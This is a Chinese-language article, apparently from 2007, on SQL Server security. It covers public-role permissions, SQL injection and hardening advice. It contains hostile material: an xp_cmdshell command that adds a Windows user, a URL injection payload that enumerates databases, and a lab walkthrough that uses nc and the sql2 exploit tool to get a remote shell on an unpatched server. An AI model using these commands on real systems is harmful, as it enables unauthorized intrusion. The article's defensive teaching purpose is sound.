SQL Server的几个安全问题个个谈(下)

发表于:2007-07-13来源:作者:点击数: 标签:
1)、新建aaa用户 如图17,新建登录后出现图18界面,输入用户名aaa,在输入个强壮的密码。 图17 图18 2)、设置权限 如图18,在“ 服务器 角色”选项中什么也不选,如图19,在“ 数据库 访问”选项中只
1)、新建aaa用户

如图17,新建登录后出现图18界面,输入用户名aaa,在输入个强壮的密码。

 


图17


 


图18


2)、设置权限

如图18,在“服务器角色”选项中什么也不选,如图19,在“数据库访问”选项中只选“xyz”库,也就是说只让aaa用户访问xyz库。“数据库角色中允许”只选默认的“public”。

 


图19


 


图20


3)、测试

设置好后,用aaa用户登陆“SQL 查询分析器”,如图21,执行exec xp_cmdshell 'net user user1 /add',出现了期待的结果,没有权限执行。

 


图21


接着执行SELECT name FROM sysdatabases where dbid>6,期待的结果是没有权限执行,可实际的结果和图10的查询结果一模一样,aaa用户不是没有master库的权限吗?aaa用户除了不能访问自己建的库wz_cxxt_new外,其它的库都能访问,问题出在哪呢?

问题出在public 角色,下面这段话是SQL Server帮助中写的。

public 角色是一个特殊的数据库角色,每个数据库用户都属于它。public 角色:

· 捕获数据库中用户的所有默认权限。

· 无法将用户、组或角色指派给它,因为默认情况下它们即属于该角色。

· 含在每个数据库中,包括 master、msdb、tempdb、model 和所有用户数据库。

· 无法除去。

如图22是master库中的“public”角色,双击“public”,在界面中单击“权限”,出现图23界面,可以看到该角色具有sysdatabases的访问权限。可以看到权限分得非常细,有select、insert、update、delete等,如图24,把权限改为禁止,再执行SELECT name FROM sysdatabases时出现了“拒绝了对对象 'sysdatabases'(数据库 'master',所有者 'dbo')的 SELECT 权限。”的提示。

 


图22


 


图23


 


图24


Public角色默认没有执行扩展存储过程的权限,但可以赋予该角色执行的权限,有访问库的权限,也可以去掉。看到这,是不是觉得非常麻烦,本来权限的设置就是个双刃剑,设置得过于宽松会有安全漏洞,过于严格在程序运行时可能会出问题,本文无法给出一个彻底的解决方案,只要在懂得原理的基础上,在实践中不断摸索才能理出一个最佳方案。

3、注入

对于SQL Server+ASP的注入,有一种是ASP连接SQL Server用户的权限足够大,而ASP程序本身有漏洞,而从而构造出类似http://www.***.com/aaa.asp?id=2300 and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 这样的SQL语句,根据前文讲的原理暴出库、表及相应的纪录。

关于注入有许多精彩和经典的文章,还有像NBSI2那样好用的工具,在此就不班门弄斧了。

三、SQL Server不打补丁的漏洞

小王的SQL Server是安装在win 2000上的,没有打补丁,没打补丁的SQL Server就是个大漏勺,无论你的权限设置的多么严格都是一张一捅就破的烂纸。下面的例子是对有漏洞的SQL Serve(安装在192.168.113.10这台机器上)的攻击,实验中用到了两个工具,nc和sql2,nc别名瑞士军刀,是古老且十分强大的网络工具,如果想知道详细用法请参考网上的相关资料,sql2是专门攻击有漏洞的SQL Serve(sp2以下,含sp2),过程如下:

如图25,在我的机器(IP地址为192.168.113.207)的命令窗口下(运行cmd)运行nc –l –p 77,意思是在本机开个77的端口

新建一个命令窗口,运行sql2 192.168.113.10 192.168.113.207 77 0

如果192.168.113.10上的SQL Serve有漏洞,192.168.113.207的nc监视窗口就会出现下图26的界面,注意!这个界面可是装有SQL Serve机器的,换句话,我们已经入侵到这台机器了。接着看下图27,用ipconfig 查的地址是192.168.113.10,它归你控制了,简单吧!

 


图25


 


图26


 


图27


四、几点建议

1、及时打补丁

不打补丁的危害上面已经演示了,道理就不用多说了吧!

2、最小的权限等于对大的安全

这句话说起容易,做起难,有一个简单易行的办法就是用流行的漏洞扫描工具和攻击工具检测本系统是否安全,这样的工具非常多,自己找吧。

3、安装防火墙

如果只是在本机调试系统,安装防火墙是非常好的选择,这样即使有漏洞别人也无法攻击。

4、改变端口

如果SQL Serve需要远程访问,端口一定是要开放的,即使安装了防火墙,也要将SQL Serve的服务端口1433放开,针对SQL Serve的攻击工具主要扫描的是1433端口,可以改变默认端口,这样虽然不能从根本上解决问题,但可以对付一般的扫描,改变端口最简单的办法是在打开“开始”——〉“所有程序”——〉“Microsoft SQL Serve” ——〉“服务器网络实用工具”,在界面中选中“TCP/IP”,点击“属性”,把1433改为不超过65535的一个数,重启SQL Serve服务,这样默认端口就改了,注意这时你远程连接SQL Serve时IP地址后要加改过的端口号。

5、删除不需要的扩展存储过程

如果你的系统中确实不需要这些扩展存储过程可以删除。

删除存储过程的命令是:EXEC sp_dropextendedproc ‘存储过程的名称’

例如要删除xp_cmdshell,执行EXEC sp_dropextendedproc ‘xp_cmdshell’,每个扩展存储过程实际上用的是相应的dll文件,如果想彻底让该存储过程不起作用,还要将dll文件也删除。这些文件一般存在Program Files\Microsoft SQL Server\MSSQL\Binn下,如图28,xp_cmdshell的dll文件是xplog70.dll

要恢复该存储过程,命令是:

EXEC sp_addextendedproc存储过程的名称 ,@dllname ='存储过程的dll'

例如:恢复存储过程xp_cmdshell

EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll',注意,恢复时如果xplog70.dll已删除需要copy一个。



图28


  

原文转自:http://www.ltesting.net